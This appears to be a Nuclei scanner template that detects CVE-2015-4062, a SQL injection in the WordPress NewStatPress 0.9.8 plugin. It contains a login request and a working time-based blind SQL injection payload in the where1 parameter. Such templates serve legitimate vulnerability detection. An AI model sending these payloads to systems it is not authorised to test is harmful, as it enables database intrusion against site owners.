id: CVE-2015-4062 info: name: WordPress NewStatPress 0.9.8 - SQL Injection author: r3Y3r53 severity: medium description: | WordPress NewStatPress 0.9.8 plugin contains a SQL injection vulnerability in includes/nsp_search.php. A remote authenticated user can execute arbitrary SQL commands via the where1 parameter in the nsp_search page to wp-admin/admin.php. remediation: | Update to plugin version 0.9.9 or latest. reference: - https://packetstormsecurity.com/files/132038/ - https://wordpress.org/plugins/newstatpress - http://packetstormsecurity.com/files/132038/WordPress-NewStatPress-0.9.8-Cross-Site-Scripting-SQL-Injection.html - https://nvd.nist.gov/vuln/detail/CVE-2015-4062 - https://wordpress.org/plugins/newstatpress/changelog/ classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:P/A:P cvss-score: 6.5 cve-id: CVE-2015-4062 cwe-id: CWE-89 epss-score: 0.03004 epss-percentile: 0.89847 cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: newstatpress_project product: newstatpress framework: wordpress tags: authenticated,cve,sqli,wp-plugin,newstatpress,packetstorm,cve2015,wordpress,wp http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?where1=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&limitquery=1&searchsubmit=Buscar&page=nsp_search HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(body_2, "newstatpress_page_nsp_search")' condition: and # digest: 4a0a0047304502203c8a016214a23d149af474a539f28cdc2ade875ca849044f5825c1ce813fbc6b022100d54f52b8680d17188212b1da5a52607fd383d2e2d5baf9a1fec017eeadfa7731:922c64590222798bb761d5b6d8e72950